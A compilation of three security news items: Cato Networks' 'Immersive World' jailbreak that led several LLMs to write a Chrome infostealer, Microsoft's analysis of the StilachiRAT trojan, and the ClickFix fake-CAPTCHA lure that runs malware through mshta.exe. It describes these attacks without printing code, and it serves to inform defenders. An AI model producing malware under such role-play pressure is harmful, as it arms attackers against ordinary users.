> _“A Cato CTRL threat intelligence researcher with no prior malware coding experience successfully jailbreak multiple LLMs, including DeepSeek-R1, DeepSeek-V3, Microsoft Copilot, and OpenAI’s ChatGPT to create a fully functional Google Chrome infostealer for Chrome 133.”_
> 
> Cato Networks

This technique (Immersive World) indicates a critical flaw existing in the safeguards implemented by GenAI providers as it easily bypasses the intended restrictions designed to prevent misuse. As Vitaly Simonovich, a threat intelligence researcher at Cato Networks, **stated**, “We believe the rise of the zero-knowledge threat actor poses a high risk to organizations because the barrier to creating malware is now substantially lowered with GenAI tools.”

The report’s findings have prompted Cato Networks to reach out to the providers of the affected GenAI tools. While Microsoft and OpenAI acknowledged receipt of the information, DeepSeek remained unresponsive.

Screenshots show researchers interacting with DeepSeek, which ultimately generated a functional Chrome infostealer (Images via Cato Networks)

****Google Declined to Review Malware Code****

According to researchers, Google, despite being offered the opportunity to review the generated malware code, declined to do so. This lack of a unified response from major tech companies highlights the complexities surrounding the addressing of threats in advanced AI tools.

****LLMs and Jailbreaking****

Although LLMs are relatively new, jailbreaking has evolved alongside them. A report **published** in February 2024 revealed that DeepSeek-R1 LLM failed to prevent over half of the jailbreak attacks in a security analysis. Similarly, a **report** from SlashNext in September 2023 showed how researchers successfully jailbroke multiple AI chatbots to generate phishing emails.

****Protection****

The 2025 Cato CTRL Threat Report, the inaugural annual publication from Cato Networks’ threat intelligence team, emphasizes the critical need for proactive and comprehensive AI security strategies. These include preventing LLM jailbreaking by building a reliable dataset with expected prompts and responses and testing AI systems thoroughly.

Regular AI red teaming is also important, as it helps find vulnerabilities and other security issues. Additionally, clear disclaimers and terms of use should be in place to inform users they are interacting with an AI and define acceptable behaviours to prevent misuse.

Researchers Use AI Jailbreak on Top LLMs to Create Chrome Infostealer

StilachiRAT: Sophisticated malware targets crypto wallets & credentials. Undetected, it maps systems & steals data. Microsoft advises strong security measures.

Microsoft’s Incident Response team has spotted a “sophisticated” new remote access trojan (RAT) dubbed StilachiRAT compromising targeted systems, stealing data and evading detection without raising any suspicions.

Unlike traditional malware, StilachiRAT trojan doesn’t just infiltrate systems; it maps and exploits them. It gathers detailed system information, from hardware identifiers to active RDP sessions, BIOS serial numbers, and camera presence. It also collects data on installed software, active applications, and user behaviour, which is then sent to a command-and-control (C2) server.

****Targeting Browsers for Credentials, Wallets for Crypto****

StilachiRAT specifically hunts for cryptocurrency wallets, scanning 20 different wallet extensions in Google Chrome to steal digital assets. It doesn’t stop there; StilachiRAT also targets sensitive credentials, extracting and decrypting stored usernames and passwords from web browsers.

What makes it even more dangerous is its ability to maintain persistence, cleverly manipulating Windows services to keep control of the infected system long-term, making it harder to detect and remove.

****Command-and-Control Connectivity and Remote Execution****

According to Microsoft’s blog post, StilachiRAT establishes communication with remote C2 servers using TCP ports 53, 443, or 16000, enabling remote command execution and potentially allowing attackers to move laterally within networks.

The malware supports a range of commands from the C2 server, including system reboots, log clearing, registry manipulation, application execution, and system suspension. It also employs anti-forensic tactics, such as clearing event logs and detecting analysis tools, to avoid detection.

****Mitigations and Protections****

Microsoft levels StilachiRAT as a sophisticated malware. Therefore, to prevent StilachiRAT infections, users are advised to download software from official sources, use web browsers that support SmartScreen, and enable Safe Links and Safe Attachments for Office 365.

Organizations can also implement various hardening guidelines, including enabling tamper protection, running endpoint detection and response in block mode, and configuring investigation and remediation in fully automated mode.

Microsoft Defender XDR customers can refer to a list of applicable detections, including TrojanSpy:Win64/Stilachi.A, and use hunting queries to identify related activity in their networks.

StilachiRAT Exploits Chrome for Crypto Wallets and Credentials

A clever malware deployment scheme first spotted in targeted attacks last year has now gone mainstream. In this scam, dubbed "ClickFix," the visitor to a hacked or malicious website is asked to distinguish themselves from bots by pressing a combination of keyboard keys that causes Microsoft Windows to download password-stealing malware.

A clever malware deployment scheme first spotted in targeted attacks last year has now gone mainstream. In this scam, dubbed “**ClickFix**,” the visitor to a hacked or malicious website is asked to distinguish themselves from bots by pressing a combination of keyboard keys that causes **Microsoft Windows** to download password-stealing malware.

ClickFix attacks mimic the “Verify You are a Human” tests that many websites use to separate real visitors from content-scraping bots. This particular scam usually starts with a website popup that looks something like this:

This malware attack pretends to be a CAPTCHA intended to separate humans from bots.

Clicking the “I’m not a robot” button generates a pop-up message asking the user to take three sequential steps to prove their humanity.

Executing this series of keypresses prompts Windows to download password-stealing malware.

Step 1 involves simultaneously pressing the keyboard key with the Windows icon and the letter “R,” which opens a Windows “Run” prompt that will execute any specified program that is already installed on the system.

Step 2 asks the user to press the “CTRL” key and the letter “V” at the same time, which pastes malicious code from the site’s virtual clipboard.

Step 3 — pressing the “Enter” key — causes Windows to download and launch malicious code through “**mshta.exe**,” a Windows program designed to run Microsoft HTML application files.

“This campaign delivers multiple families of commodity malware, including XWorm, Lumma stealer, VenomRAT, AsyncRAT, Danabot, and NetSupport RAT,” **Microsoft** wrote in a blog post on Thursday. “Depending on the specific payload, the specific code launched through mshta.exe varies. Some samples have downloaded PowerShell, JavaScript, and portable executable (PE) content.”

According to Microsoft, hospitality workers are being tricked into downloading credential-stealing malware by cybercriminals impersonating **Booking.com**. The company said attackers have been sending malicious emails impersonating Booking.com, often referencing negative guest reviews, requests from prospective guests, or online promotion opportunities — all in a bid to convince people to step through one of these ClickFix attacks.

In November 2024, KrebsOnSecurity reported that hundreds of hotels that use booking.com had been subject to targeted phishing attacks. Some of those lures worked, and allowed thieves to gain control over booking.com accounts. From there, they sent out phishing messages asking for financial information from people who’d just booked travel through the company’s app.

Earlier this month, the security firm **Arctic Wolf** warned about ClickFix attacks targeting people working in the healthcare sector. The company said those attacks leveraged malicious code stitched into the widely used physical therapy video site HEP2go that redirected visitors to a ClickFix prompt.

An alert (PDF) released in October 2024 by the **U.S. Department of Health and Human Services** warned that the ClickFix attack can take many forms, including fake **Google Chrome** error pages and popups that spoof **Facebook**.

ClickFix tactic used by malicious websites impersonating Google Chrome, Facebook, PDFSimpli, and reCAPTCHA. Source: Sekoia.

The ClickFix attack — and its reliance on mshta.exe — is reminiscent of phishing techniques employed for years that hid exploits inside **Microsoft Office** **macros**. Malicious macros became such a common malware threat that Microsoft was forced to start blocking macros by default in Office documents that try to download content from the web.

Alas, the email security vendor **Proofpoint** has documented plenty of ClickFix attacks via phishing emails that include HTML attachments spoofing Microsoft Office files. When opened, the attachment displays an image of Microsoft Word document with a pop-up error message directing users to click the “Solution” or “How to Fix” button.

HTML files containing ClickFix instructions. Examples for attachments named “Report\_” (on the left) and “scan\_doc\_” (on the right). Image: Proofpoint.

Organizations that wish to do so can take advantage of Microsoft Group Policy restrictions to prevent Windows from executing the “run” command when users hit the Windows key and the “R” key simultaneously.

Tag

#chrome